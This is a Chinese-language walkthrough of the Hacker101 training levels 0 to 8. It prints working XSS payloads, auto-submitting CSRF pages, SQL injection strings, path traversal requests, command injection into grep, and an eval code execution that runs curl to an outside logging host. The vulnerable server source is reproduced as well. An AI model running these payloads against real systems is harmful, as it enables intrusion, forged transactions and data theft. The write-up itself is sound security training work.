Hacker 101 Writeup

sessions

Vulnerabilities

Coursework

level 0

1517843728333

刚试了第一题的XSS,被chrome拦截了。看来得换firefox做!

hacker 101 coursework1 source

前端源码

hacker 101 coursework1 source

xss

1
1000"><script>alert(1)</script><img scr="none" border="0px

hacker 101 xss 1

1
2
Destination account: <input type="input" name="to" value="12121&#34;&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;img scr=&#34;none&#34; border=&#34;0px"><br>
Amount: <input type="input" name="amount" value="1000"><script>alert(1)</script><img scr="none" border="0px">

Destination account 对敏感的输入做了转码,而Amount没有,所以导致了反射型XSS的出现。

CSRF

post型的CSRF,需要放在iframe中才能绕过同源策略的限制。提交转账请求的时候没有任何校验请求的发送者是真实人发送的还是有代码触发的。一般的防御措施有:

  • 验证码(缺陷不可能任何请求都添加验证码)
  • Referer(可以伪造)
  • Token验证(广泛采用的方法)

自己编写利用脚本利用CSRF,内容如下。参考 https://www.hacker101.com/vulnerabilities/csrf 给的利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!doctype html>
<html>

<head>
<title>Test CSRF </title>
</head>

<body>
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='https://levels-a.hacker101.com/levels/0/' target="csrf-frame" id="csrf-form" style="display:none">
true<input type='hidden' name='to' value='1811'>
<input type='hidden' name='amount' value='1234'>
true<input type='submit' value='Transfer'>
</form>
<!-- Auto submit the form when page loads -->
<script>document.getElementById("csrf-form").submit()</script>
</body>

</html>

我当前登录的账号为1711,只要访问此页面就会自动给1811转账$1234。

在加载iframe中,提交post请求时使用的cookie是已登录用户1711的cookie,故服务器会以为是1711发起的转账请求,并完成了转账操作。

1517234629034

权限绕过

表单中添加from,任意指定转账的发起方。测试时,直接在POST的参数中添加from参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /levels/0/ HTTP/1.1
Host: levels-a.hacker101.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://levels-a.hacker101.com/levels/0/
Cookie: SACSID=~AJKiYcHhGpu6PLMyeIsvo_lfjScoVo39CNylmh9BaI6_3jAwKOGUqDAEkKzhCofsSw7y1X_V7lFNTj-tT71ZWWRCNHLF5SKYWmuKHxyW2FWtd4optMQtaYzsYu6L2d5wTz3agQJU87kT7C-ibOhaAmoAGa1Rp5WZuqSdM2yXkxl7S3wV8NE3dzllcp72U7G6M35BEdv17DEQe0JdQPSfI6iAFB2Tmf1CbDGj2VCPnS7hBriVanmD8DkhZXft9G2yWjgSfWecvJO8_OLrMFi12Ogf9sbbLM78wVjV3pY_R-eSA-O8FjCBaTPvgRIGklnli_LM4YOAK7HS2o43B-ITpJoD5_FTZ9cGbQ
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

to=1811&amount=111&from=1221

权限绕过 参考 https://octfive.cn/299

level 1

1517843759102

XSS

  1. 判断哪些符号被过滤输入

    测试'<>:;"test ,结果<td>'&lt;&gt;:;"test</td>,可以看出尖括号被过滤了。

  2. 是否有部分标签没有被过滤

    测试测试<img>,结果<td>&lt;img&gt;</td><img> 被过滤。

  3. 判断是否为递归转译

    测试<im<img>g>,结果<td>&lt;im&lt;img&gt;g&gt;</td>, 是递归转移。

  4. url编码绕过,看服务端是否会还原url编码

    测试%3cscript%3ealert(%22xss%22)%3c/script%3e, url编码没有被还原。script关键字没有被过滤。

    后测试unicode编码\u003cimg src=1 onerror=alert(/xss/)\u003eu003cimg src=1 onerror=alert(/xss/)u003e

  5. 仔细看题发现,提示“HTML disallowed, but links will be clickable.”、

    5.1 测试<a herf="http://www.test.com">Click</a>,结果<td>&lt;a herf="<a href="http://www.test.com"&gt;Click&lt;/a&gt;">http://www.test.com"&gt;Click&lt;/a&gt;</a></td>, 发现可以利用。

    5.2 加入JavaScript伪协议<a herf=javascript:alert(1);>Click</a>,结果 <td>&lt;a herf=javascript:alert(1);&gt;Click&lt;/a&gt;</td>, 发现被转译

    5.3 将javascript:alert(1) 放在href中判断是否服务端通过关键字匹配过滤掉了javascript:alert(1) .<a herf="[http://www.javascript:alert(1).com">Click](http://www.javascript:alert%281%29.com), 结果<td>&lt;a herf="<a href="http://www.javascript:alert(1).com"&gt;Click&lt;/a&gt;">http://www.javascript:alert(1).com"&gt;Click&lt;/a&gt;</a></td>。发现javascript:alert(1)没有被过滤。事实上在5.2中就可以看出来没有被过滤。但是在5.2中没有触发出异常。

    5.4 开始一点一点删除5.3的herf中字符,向5.2靠近。最后发现必须是<a href="http:// 的格式才能触发异常,于是开始构建代码进行处理。能够被解析成为html代码的片段,只能是href中的部分。于是需要绕过空格限制

    5.5 绕过空格限制

    ​ 测试<a herf="http://"onmouseover=javascript:alert(1), 结果<td>&lt;a herf="<a href="http://"onmouseover=javascript:alert(1)">http://"onmouseover=javascript:alert(1)</a></td> 。发现是双引号没有匹配正确,试了好几次发现只要添加一个" ,使引号正确配对就可以了。

  6. 最终代码
    payload

    1
    <a herf="http://"onmouseover="javascript:alert(1)

    经过后台处理的代码

    1
    <td>&lt;a herf="<a href="http://"onmouseover="javascript:alert(1)">http://"onmouseover="javascript:alert(1)</a></td>

    当鼠标经过是,出现弹窗。故说明存在存储型XSS。

  7. 其他的一些尝试

    7.1 使用url编码空格为%20,无效。

    7.2 使用;代替空格,无效。这个姿势不知道行不行,记不清书上怎么讲的了。

  8. 发现一个技巧

    不一定每次都要提交自己的代码,让服务器解析,来看载荷的效果。也可以现在本地测试一下,优化一下自己的载荷后,再提交。即使用F12调出调试工具,编辑html,在被服务器解析的源码基础上测试可能的方案,调优后在提交到服务器测试。这样做的好处是,减少了测试的时间,比如这一道题目是存储型的XSS,当提交了数据后后跳转到另一界面,看结果看需要跳转回来。如果每次都能提交更优的载荷,那么就会省掉很多这种跳转操作。

    简而言之: 对自己的猜测,尽量在本地测试一下

    XSS trick

CSRF with csrf token

Token重用 + XSS

想过,用xss获取token,但由于引发xss的前提是需要提前知道csrf token 所以这种方法行不通。

又过了两天,拿起再看看,试试重放,发现成功了。csrf不是使用一次就失效,可以多次使用。首先获取到提交页面获取token,然后在利用代码中使用。后来,看别人的解答。才知道只要给任意32位的token就能过,只验证了token的长度,没有验证token的内容。回过头来看重放的思路不对,作者的意图是让我们猜测csrf token的结构,然后构造token进行绕过。以下应当才是正确的思路。

另外token是用户名的MD5值,可根据用户名构造token。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>

<head>
<title>Test CSRF </title>
</head>
<body onload="getCSRFToekn()">
<iframe src="https://levels-a.hacker101.com/levels/1/" style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='https://levels-a.hacker101.com/levels/1/post' target="csrf-frame" id="csrf-form" style="display:none" onload="getCSRFToekn()">
true<input type='hidden' name='status' value='<a herf="http://"onmouseover="javascript:alert(1)'>
<input type='hidden' name='csrf' value='56d27afecc9f901080e76f45c12747bd'>
true<input type='submit'>
</form>
<!-- Auto submit the form when page loads -->
<script>document.getElementById("csrf-form").submit()</script>

</body>
</html>

Forced Browsing

查看自己每次测试的详情,更改id能够访问别人的测试记录。

自己的记录

1517836758756

别人的记录 1517837065692

存储型XSS + 强制浏览Forced Browsing 2

level 2

1517843790308

Stored XSS

测试了一下Nickname,发现<>’”等符号被转译,于是测试图片地址。pic的地址必须以.png .jpg 结尾,所以代码插在地址中间部分。

1517841300615

另外description也存在存储型XSS。

1
[ red"><img src="" onerror="alert(1)" /> " | All ] [ orange | the ] [ yellow | colors ] [ green | of ] [ blue | the ] [ purple | rainbow! ]

“颜色” 没有进行过滤和转发,在各种颜色后面都可以触发XSS。

Reflected XSS

1
https://levels-a.hacker101.com/levels/2/edit?id="><script>alert("xss")</script>

测试参数id,发现存在发射型XSS。

1517843354347

Unrelated Bonus

不知道是什么意思

level 3

1517886629056

进来看了一下题,有xss,但是没有框、参数之类的。那就先做Improper Authorization吧!

Improper Authorization

源码里的js写的很清楚,需要改cookie绕过登录。

1
2
3
4
5
6
7
8
var page = window.location.hash.substring(1);
if(page == '')
truepage = 'index';
truevar cookies = document.cookie.split(';');
truefor(var i in cookies) {
truetruevar cookie = cookies[i].replace(/ /g, '').split('=');
truetrueif(cookie[0] == 'admin' && cookie[1] == '1')
truetruedocument.write('<a href="/levels/3/admin?page=' + page + '">Edit this page</a>');

1517887951491

结合js和cookie值可知,修改cookie中admin对应的值1,即可。

1517886865871

修改之后,首页多了一个链接。现在的身份已经是admin了。

1517886498406

技巧

调试的时候,不知道cookie[0]当前值为多少,但想知道当前值是多少。怎么办,可以写油猴脚本。此题这样做可能会复杂一点,若是复杂一点的逻辑可以试试这种方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// ==UserScript==
// @name HACKER101 Level 3
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match https://levels-a.hacker101.com/levels/3/
// @grant none
// ==/UserScript==

(function() {
'use strict';
var page = window.location.hash.substring(1);
if(page == '')
page = 'index';
var cookies = document.cookie.split(';');
for(var i in cookies) {
var cookie = cookies[i].replace(/ /g, '').split('=');
console.log("cookie:" + cookie);
console.log("cookie[0]:" + cookie[0]);
console.log("cookie[1]:" + cookie[1]);
if(cookie[0] == 'admin' && cookie[1] == '1')
console.log('<a href="/levels/3/admin?page=' + page + '">Edit this page</a>');
}
// Your code here...
})();

重新加载页面,就能看到cookie、cookie[0]、cookie[1]的值了。如果这些值没有满足条件,只需针对性修改就可以了。这样做的好处是很直观。

解此题

首先看看cookie、cookie[0]、cookie[1]的值。这题要求cookie[0]等于admin,cookie[1]等于1。现在cookie[0]满足条件了,现在只需要修改cookie[1]让它等于1。

1517887482097

修改admin的cookie值为1后的输出,现在条件都满足了。这一题完成了!

1517887294804

Various XSS

  • Page Body 存储型XSS

    直接插入script会被过滤掉。img标签还是很好用。

    虽然提示说DOM事件会被过过滤,难道是漏洞了onerror。也不是,测试发现之后onerror在img标签内才不会被过滤掉,在a标签中就被过滤掉了(会显示JS Detected!)。

    1
    2
    3
    4
    5
    6
    7
    8
    <!-- img onerror -->
    <img src="#" onerror="alert(1)">
    <!-- script大小写绕过 -->
    <ScRiPt>alert(1);</ScRiPt>
    <!-- action -->
    <isindex action="javascript:alert(1)" type=image>
    <!-- data -->
    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">

    1517888597706

xss弹窗

1517891355836

xss绕过参考:http://www.freebuf.com/articles/web/20282.html

Unrelated Bonuses

level 4

1517919228408

有点像hackernews,点进去是大家的测试代码,看来不少人测试成功了(一进去满是弹窗)。

XSS

把之前第二题用过的代码herf="http://"onmouseover="javascript:alert(1),放在进去测试。

1517919354097

以下是服务器处理之后,返回的代码。可以看出herf="http://"onmouseover="javascript:alert(1) 中第一个" 之后的代码在后面出现了而且还没有被转译。

1
<a href="http://&#34;onmouseover=&#34;javascript:alert(1)">&lt;script&gt;alert(1)&lt;/script&gt;</a> ("onmouseover="javascript:alert(1))<br>

于是构造出http://""<img src="" onerror=alert(2)> ,提交弹窗出现了。

1
<a href="http://&#34;&#34;&lt;img src=&#34;&#34; onerror=alert(1024)&gt;">try again</a> (""<img src="" onerror=alert(1024)>)<br>

1517919940872

CSRF

  • 发布帖子

    用两个账号获取不同的csrf
    2e2e2e4e6f7420746869732074696d6521fead9de65b071673d99156141e19792f
    2e2e2e4e6f7420746869732074696d6521b8a293a191f581aaf42bbf2a2df4f24f

    66位

    使用 burpsuite 发现前面一部份是ASCII HEX编码
    2e2e2e4e6f7420746869732074696d6521
    …Not this time!

    剩下的32位 应该是md5,应该和用户名有关
    fead9de65b071673d99156141e19792f
    b8a293a191f581aaf42bbf2a2df4f24f
    尝试了用户名/…Not this time!/Breaker News 各种组合的MD5但是不对
    …Not this time! 的意思是不是要做其他题,然后回头来做这题。例如Systemic Information Disclosures会不会有提示!

  • 删帖(无效)

    把id换成被人的,提示不能删除。这个功能不存在csrf。

    1517925099885

  • 点赞

    点赞呢?csrf点赞。

    首先,不存在重复点赞的情况。(重放攻击,刷赞)

    只要指定id就能为别人刷赞,这也应该一个是csrf吧!firefox有效,chrome无效。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <html>

    <head>
    <title>Test CSRF </title>
    </head>
    <body>
    true<img src="http://levels-a.hacker101.com/levels/4/vote?change=1&type=Story&id=4721001476653056&from=https://levels-a.hacker101.com/levels/4/" alt="none" />
    </body>

    </html>

    Unchecked Redirects

理论:http://blog.csdn.net/quiet_girl/article/details/50616927

1
2
3
http://levels-a.hacker101.com/levels/4/vote?change=1&type=Story&id=4721001476653056&from=http://www.google.com

https://levels-a.hacker101.com/levels/4/delete?id=6324050641027072&type=Story&from=https://www.google.com

在投票、删帖之后需要跳转后原来的页面,但可以修改from的值。由于没有任何检查,从而实现重定向到任意的url。

Systemic Information Disclosures

绝对路径泄露,不知道算不算?

1519655383819

Improper Identity Handling

level 5

1519805326170

Directory Traversal

1
https://levels-b.hacker101.com/level5?path=./../../

1519782047229

读取文件

直接跟路径发现报错(路径遍历的时候 https://levels-b.hacker101.com/level5/read?path=../main.py),提示No such file: main.py。猜测过滤掉了../,尝试绕过。使用 https://levels-b.hacker101.com/level5/read?path=....//main.py 读取到了文件。

Reflected XSS

path参数存在反射性XSS漏洞,当路径不存在时未经过滤而直接报错输出。

1
2
https://levels-b.hacker101.com/level5?path=/ebook<script>alert("xss")</script>
https://levels-b.hacker101.com/level5/read?path=/ebooks/alice.txt<script>alert("xss")</script>

Command Injection

根据源码,可以出一下请求

https://levels-b.hacker101.com/level5/post_search

post数据:csrf=644b6355ee205742d9476a7f366a453f&path=../&text=niceAAA”;id;cd “

1
2
3
commands.getoutput('grep -r "%s" .' % text)
'grep -r "%s" .' %text
'grep -r niceAAA";id;cd .'

添加cd是为了闭合后面的点号,一遍执行任意命令。

在本地编写代码测试,发现需要闭合双引号。测试发现使用” 需要转译,否则会报错。测试代码如下

1
2
3
4
5
6
#!/usr/bin/python
import commands
import os
text = "niceAAA\";ls;cd\""
print 'grep -r "%s" .' % text
print commands.getoutput('grep -r "%s" .' % text)

但是直接使用niceAAA\";ls;cd\" 无效, 猜测是编码问题。url编码等尝试未果后,删除了转译符号,测试通过。

1519800662072

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import commands, os
from handler import *
from glob import glob
from os.path import isfile, isdir

@handler('level5/index')
def get_index(path='/'):
trueif not isdir('level5_docs/' + path):
truetruereturn 'No such directory: ' + path

trueif not path.endswith('/'):
truetruepath += '/'
truedirs = []
truefiles = []
truefor fn in glob('level5_docs/' + path + '*'):
truetrueif isdir(fn):
truetruetruedirs.append(fn.rsplit('/', 1)[1])
truetrueelse:
truetruetruefiles.append(fn.rsplit('/', 1)[1])

truereturn dict(path=path, dirs=dirs, files=files)

@handler
def get_read(path):
truepath = path.replace('../', '')
truetry:
truetruereturn Response(file('level5_docs/' + path).read(), mimetype='text/plain')
trueexcept:
truetruereturn 'No such file: ' + path

@handler
def post_search(path, text):
trueold = os.getcwd()
truetry:
truetrueos.chdir('level5_docs/' + path)
truetrueout = commands.getoutput('grep -r "%s" .' % text)
truefinally:
truetrueos.chdir(old)
truereturn out.replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br>')

level 6

1519805366516

Reflected/Stored XSS

Reflected XSS

1
https://levels-b.hacker101.com/level6?filter="><script>alert("xss")</script>

1519805957215

Stored XSS

主页显示的时候,特殊字符做了转译,但在编译页面没有做转译。first name做了转译,last name没有做转译。

1
Doe<img src="><img src=1 onerror=alert("xss")>

1519805239531

SQL Injection

sqlmap跑出来的

1
https://levels-b.hacker101.com/level6?filter=j') UNION SELECT DISTINCT database(),version(),user() --+

1519913511837

查看源码,发现需要首先使用 ') 闭合前面的部分,然后执行union查询,最后注释掉后面的查询。起初尝试了各种闭合的手段,但唯独不知道要用有括号的存在。逆向推测发现,当时用该这样理解。由于是模糊查询 且 firstname 和 lastname 匹配一个即可,应当想到次查询并列,可能会用括号将这两个条件包括在一起。

1
dict(filter=filter, students=db.query("SELECT id, lastname, firstname FROM students WHERE sessid='%s' AND (firstname LIKE '%%%%%s%%%%' OR lastname LIKE '%%%%%s%%%%');" % (handler.sessid(), filter, filter)))

CSRF

1
2
3
不同账号获取到的csrf token
644b6355ee205742d9476a7f366a453f
a355c867f8e3b7d5c9cf1bc596e0145b

本想使用反射性 XSS 获取cookie,但设置了HttpOnly。这条路行不行。

正好在 Edit 页面同时有csrf token 和 存储型 XSS ,两者结合起来可以获取到csrf token。但是怎么触发?必须知道csrf token才能触发存储型 XSS,也就是说拿不到别人的token。故此方法也不可行。

后发现直接向https://levels-b.hacker101.com/level6/post_add 提交数据,不带 csrf token 可以添加成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!doctype html>
<html>

<head>
<title>Test CSRF </title>
</head>

<body>
<iframe style="display:none" name="csrf-frame"></iframe>
true<form action="https://levels-b.hacker101.com/level6/post_add" method="POST" id="csrf-form">
truetrue<input type="hidden" type="text" name="firstname" value='first'>
truetrue<input type="hidden" name="lastname" value='last'>
truetrue<input type="submit">
true</form>
</iframe>
<!-- Auto submit the form when page loads -->
<script>document.getElementById("csrf-form").submit()</script>
</body>

</html>

源码

1
2
3
4
5
@handler(CSRFable=True)
def post_add(firstname, lastname):
truedb.query("INSERT INTO `students` (firstname, lastname, sessid) VALUES ('%s', '%s', '%s');" % (firstname, lastname, handler.sessid()))

trueredirect(get_index)
  • 不提交csrf token。
  • 提交任意csrf token。
  • 猜测 csrf token 的构造。
  • 是不是只校验了长度。
  • 可不可以用另一个账号获取的代替,即token 和账户没有绑定,只要token有效即可。
  • 使用 XSS 获取 token。

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from handler import *

@handler('level6/index')
def get_index(filter=''):
trueif db.query('SELECT COUNT(id) FROM students WHERE sessid=%s;', handler.sessid())[0][0] == 0:
truetruedef add(firstname, lastname):
truetruetruedb.query('INSERT INTO `students` (firstname, lastname, sessid) VALUES (%s, %s, %s);', firstname, lastname, handler.sessid())

truetrueadd('John', 'Doe')
truetrueadd('Cody', 'Brocious')
truetrueadd('Testy', 'McTesterson')

trueprint filter
truereturn dict(filter=filter, students=db.query("SELECT id, lastname, firstname FROM students WHERE sessid='%s' AND (firstname LIKE '%%%%%s%%%%' OR lastname LIKE '%%%%%s%%%%');" % (handler.sessid(), filter, filter)))

@handler('level6/edit')
def get_edit(id):
truereturn dict(student=db.query("SELECT id, lastname, firstname FROM students WHERE id='%s';" % id)[0])

@handler
def post_edit(id, firstname, lastname):
truestudent = db.query('SELECT sessid FROM students where id=%s', id)
trueif student[0][0] != handler.sessid():
truetruereturn 'Student does not belong to your account.'

truedb.query('UPDATE students SET lastname=%s, firstname=%s WHERE id=%s', lastname, firstname, id)

trueredirect(get_index)

@handler('level6/add')
def get_add():
truepass

@handler(CSRFable=True)
def post_add(firstname, lastname):
truedb.query("INSERT INTO `students` (firstname, lastname, sessid) VALUES ('%s', '%s', '%s');" % (firstname, lastname, handler.sessid()))

trueredirect(get_index)

if not db.hastable('students'):
truedb.maketable('students',
truetruelastname='VARCHAR(1024)',
truetruefirstname='VARCHAR(1024)',
truetruesessid='CHAR(16)'
true)

level 7

1519959728275

###XSS

登录错误提示页面存在 XSS 漏洞,username 特殊符号经过了转译,而 password 没有。

1
https://levels-b.hacker101.com/level7?error=User+does+not+exist&username=admin&password=admin"><script>alert("xss")</script>

SQL Injection

1
csrf=9c1debdb7dcc0f6a1c67bd4f20454a1b&username=admin' or 1 ’# &password=

得到报错信息,user = db.query(“SELECT password FROM users WHERE username=’%s’” % username)
1519954198293

1
csrf=9c1debdb7dcc0f6a1c67bd4f20454a1b&username=admin' or 1#&password=

先前一直在再试万能密码,但是仍旧提示用户不存在,即查询到的结果为空。猜测表中没有数据。

1519957352419

后使用union查询,实现注入。

1
2
csrf=9c1debdb7dcc0f6a1c67bd4f20454a1b&username=admin' order by 1#&password=
csrf=9c1debdb7dcc0f6a1c67bd4f20454a1b&username=admin'union select 1 #&password=1

1519957176364

此题是根据用户名在数据库中查询密码,然后与提交的密码来判断是否一致。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from handler import *

@handler('level7/index')
def get_index(error=None, username='admin', password=''):
truereturn dict(error=error, username=username, password=password)

@handler
def post_index(username, password):
truetry:
truetrueuser = db.query("SELECT password FROM users WHERE username='%s'" % username)
trueexcept Exception, e:
truetrueimport traceback
truetruereturn Response(traceback.format_exc() + '\n' + e[1], mimetype='text/plain')】

trueif len(user) == 0:
truetrueredirect(get_index.url(error='User does not exist', username=username, password=password))
trueelif user[0][0] == password:
truetrueredirect(get_success.url(username=username))
trueelse:
truetrueredirect(get_index.url(error='Invalid password', username=username, password=password))

@handler('level7/success')
def get_success(username):
truereturn dict(username=username)

if not db.hastable('users'):
truedb.maketable('users',
truetrueusername='VARCHAR(1024)',
truetruepassword='VARCHAR(1024)'
true)

level 8

1519959691722

上传 html 文件,预览时直接进入了下载。比对发现多了Content-Disposition 属性,它是作为对下载文件的一个标识字段。

XSS

上传任意文件(如png),burpsuite 代理修改 MIME-type Content-Type: image/pngContent-Type: </td><script>alert(1)</script>onmouseover=alert(1)><td>

一直以为要通过上传绕过实现 XSS ,让上传的文件得以解析为HTML,最终在浏览器执行。回过头来想一想,这应该是文件上传漏洞,而不是 XSS 漏洞。

参考 https://octfive.cn/299

Directory Traversal

不能读取任意文件,但是能够覆盖任意文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /level8/post_index HTTP/1.1
Host: levels-b.hacker101.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://levels-b.hacker101.com/level8
Cookie: __cfduid=d479a6128517cfcbef11858640e05c57b1517904353; _ga=GA1.2.410155586.1517904356; _gid=GA1.2.518095736.1522759101; session=.eJyrVkouLkpTsqpWUkhSslKKCnGsinIJLfd1Sa-Kyg018HWJNPUNSTb2dXHK9g8JNIoM96yKykrJ8g0JtFWq1VEqTi0uzkxBaM_1rPIP98r1d_EsBxpjElkVWRWVbgtUWgsA25Mhkw.DaUJVg.ABSSPJf2ADHFWCup3ZSJpD27AzI
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------2062164199649
Content-Length: 439

-----------------------------2062164199649
Content-Disposition: form-data; name="csrf"

e03d50083fe406917700d946ab3f7c14
-----------------------------2062164199649
Content-Disposition: form-data; name="name"

aaaa
-----------------------------2062164199649
Content-Disposition: form-data; name="doc"; filename="../handler.py"
Content-Type: application/octet-stream

read-handler.py
-----------------------------2062164199649--

修改 filename 为需要覆盖的文件,我们可以拿 level 5 中的目录遍历漏洞查看写入的内容。问题出现 doc.save(‘level8_sandbox/‘ + filename) ,filename 可以是包含 “.” 和 “/“ 的路径。

1522763213195

SQL Injection

Code Execution

漏洞在下载功能处,命令执行点 download = eval(download)。接收参数 download,但是没有输出,我们可以用服务器接收输出。

即外带式命令执行漏洞。

1
https://levels-b.hacker101.com/level8/view/13151?download=__import__('os').system('curl http://83i93o.ceye.io?from-hacker101')

查看 http 请求,发现请求过来了,命令执行成功了。

1523069644629

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from handler import *

@handler('level8/index')
def get_index():
truereturn dict(docs=db.query('SELECT id, name, mimetype FROM documents WHERE sessid=%s', handler.sessid()))

@handler
def post_index(name, doc):
truefn, mime = doc.filename, doc.mimetype

truedoc.save('level8_sandbox/' + fn)

truedb.query("INSERT INTO documents (name, filename, mimetype, sessid) VALUES ('%s', '%s', '%s', '%s')" % (name, fn, mime, handler.sessid()))

trueredirect(get_index)

inlinable = 'image/jpeg image/png text/plain'.split(' ')

@handler
def get_view(id, download='None'):
truedownload = eval(download)
true
true(filename, mimetype), = db.query('SELECT filename, mimetype FROM documents WHERE sessid=%s AND id=%s', handler.sessid(), id)

trueif download == None and mimetype not in inlinable:
truetruedownload = True

trueif download:
truetruehandler.header('Content-Disposition', 'attachment; filename=' + filename)

truehandler.header('Content-Type', mimetype)

truereturn file('level8_sandbox/' + filename, 'rb').read()

if not db.hastable('documents'):
truedb.maketable('documents',
truetruename='VARCHAR(1024)',
truetruefilename='VARCHAR(1024)',
truetruemimetype='VARCHAR(1024)',
truetruesessid='CHAR(16)'
true)